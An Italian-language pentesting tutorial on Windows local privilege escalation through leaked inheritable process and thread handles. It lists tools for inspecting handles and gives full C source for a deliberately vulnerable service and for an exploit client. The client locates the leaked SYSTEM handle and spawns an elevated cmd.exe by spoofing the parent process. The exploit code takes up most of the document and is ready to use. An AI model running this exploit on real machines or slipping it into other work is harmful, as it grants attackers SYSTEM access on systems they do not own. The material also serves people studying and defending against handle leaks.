I handle in un processo consentono di accedere a diverse risorse di Windows:
Ci sono già stati diversi casi di privilege escalation in cui un processo privilegiato con handle aperti e ereditabili ha eseguito un processo non privilegiato concedendogli accesso a tutti quegli handle.
Ad esempio, immagina che un processo in esecuzione come SYSTEM apra un nuovo processo (OpenProcess()) con accesso completo. Lo stesso processo crea anche un nuovo processo (CreateProcess()) con privilegi bassi ma ereditando tutti gli handle aperti del processo principale.
Poi, se hai accesso completo al processo a basso privilegio, puoi afferrare l'handle aperto al processo privilegiato creato con OpenProcess() e iniettare un shellcode.
Handle Interessanti
Processo
Come hai letto nell'esempio iniziale, se un processo non privilegiato eredita un handle di processo di un processo privilegiato con permessi sufficienti, sarà in grado di eseguire codice arbitrario su di esso.
In questo eccellente articolo puoi vedere come sfruttare qualsiasi handle di processo che ha uno dei seguenti permessi:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Simile agli handle di processo, se un processo non privilegiato eredita un handle di thread di un processo privilegiato con permessi sufficienti, sarà in grado di eseguire codice arbitrario su di esso.
In questo eccellente articolo puoi anche vedere come sfruttare qualsiasi handle di processo che ha uno dei seguenti permessi:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Handle di File, Chiave e Sezione
Se un processo non privilegiato eredita un handle con permessi equivalenti di scrittura su un file privilegiato o registro, sarà in grado di sovrascrivere il file/registro (e con un po' di fortuna, escalare privilegi).
Gli Handle di Sezione sono simili agli handle di file, il nome comune di questo tipo di oggetti è "File Mapping". Vengono utilizzati per lavorare con file di grandi dimensioni senza mantenere l'intero file in memoria. Questo rende l'exploitation "simile" all'exploitation di un Handle di File.
Come vedere gli handle dei processi
Process Hacker
Process Hacker è uno strumento che puoi scaricare gratuitamente. Ha diverse opzioni straordinarie per ispezionare i processi e una di esse è la capacità di vedere gli handle di ciascun processo.
Nota che per vedere tutti gli handle di tutti i processi, è necessario il SeDebugPrivilege (quindi devi eseguire Process Hacker come amministratore).
Per vedere gli handle di un processo, fai clic destro sul processo e seleziona Handle:
Puoi quindi fare clic destro sull'handle e controllare i permessi:
Sysinternals Handles
Il Handlesbinario di Sysinternals elencherà anche gli handle per processo nella console:
LeakedHandlesFinder
Questo strumento ti consente di monitorare gli handle leakati e persino di auto-sfruttarli per escalare privilegi.
Metodologia
Ora che sai come trovare gli handle dei processi, ciò che devi controllare è se qualche processo non privilegiato ha accesso a handle privilegiati. In tal caso, l'utente del processo potrebbe essere in grado di ottenere l'handle e abusarne per escalare privilegi.
È stato menzionato in precedenza che hai bisogno del SeDebugPrivilege per accedere a tutti gli handle. Ma un utente può comunque accedere agli handle dei propri processi, quindi potrebbe essere utile se vuoi privesc solo da quell'utente per eseguire gli strumenti con i permessi regolari dell'utente.
Ad esempio, il seguente codice appartiene a un servizio Windows che sarebbe vulnerabile. Il codice vulnerabile di questo binario di servizio si trova all'interno della funzione Exploit. Questa funzione inizia creando un nuovo processo di handle con accesso completo. Poi, crea un processo a bassa privilegio (copiare il token a bassa privilegio di explorer.exe) eseguendo C:\users\username\desktop\client.exe. La vulnerabilità risiede nel fatto che crea il processo a bassa privilegio con bInheritHandles impostato su TRUE.
Pertanto, questo processo a bassa privilegio è in grado di acquisire l'handle del processo ad alta privilegio creato per primo e iniettare ed eseguire un shellcode (vedi la sezione successiva).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Esempio di Exploit 1
In uno scenario reale probabilmente non sarai in grado di controllare il binario che verrà eseguito dal codice vulnerabile (C:\users\username\desktop\client.exe in questo caso). Probabilmente comprometterai un processo e dovrai verificare se puoi accedere a qualche handle vulnerabile di un processo privilegiato.
In questo esempio puoi trovare il codice di un possibile exploit per C:\users\username\desktop\client.exe.
La parte più interessante di questo codice si trova in GetVulnProcHandle. Questa funzione inizierà a recuperare tutti gli handle, poi verificherà se uno di essi appartiene allo stesso PID e se l'handle appartiene a un processo. Se tutti questi requisiti sono soddisfatti (viene trovato un handle di processo aperto accessibile), tenterà di iniettare ed eseguire uno shellcode abusando dell'handle del processo.
L'iniezione dello shellcode avviene all'interno della funzione Inject e scriverà semplicemente lo shellcode all'interno del processo privilegiato e creerà un thread all'interno dello stesso processo per eseguire lo shellcode).
In uno scenario reale probabilmente non sarai in grado di controllare il binario che verrà eseguito dal codice vulnerabile (C:\users\username\desktop\client.exe in questo caso). Probabilmente comprometterai un processo e dovrai verificare se puoi accedere a qualche handle vulnerabile di un processo privilegiato.
In questo esempio, invece di abusare dell'handle aperto per iniettare ed eseguire un shellcode, verrà utilizzato il token del processo con handle privilegiato aperto per crearne uno nuovo. Questo viene fatto nelle righe da 138 a 148.
Nota come la funzione UpdateProcThreadAttribute venga utilizzata con l'attributo PROC_THREAD_ATTRIBUTE_PARENT_PROCESS e l'handle del processo privilegiato aperto. Questo significa che il thread del processo creato che esegue _cmd.exe_** avrà lo stesso privilegio di token del processo con handle aperto**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Questo strumento consente di monitorare i handle leak per trovare quelli vulnerabili e persino di sfruttarli automaticamente. Ha anche uno strumento per crearne uno.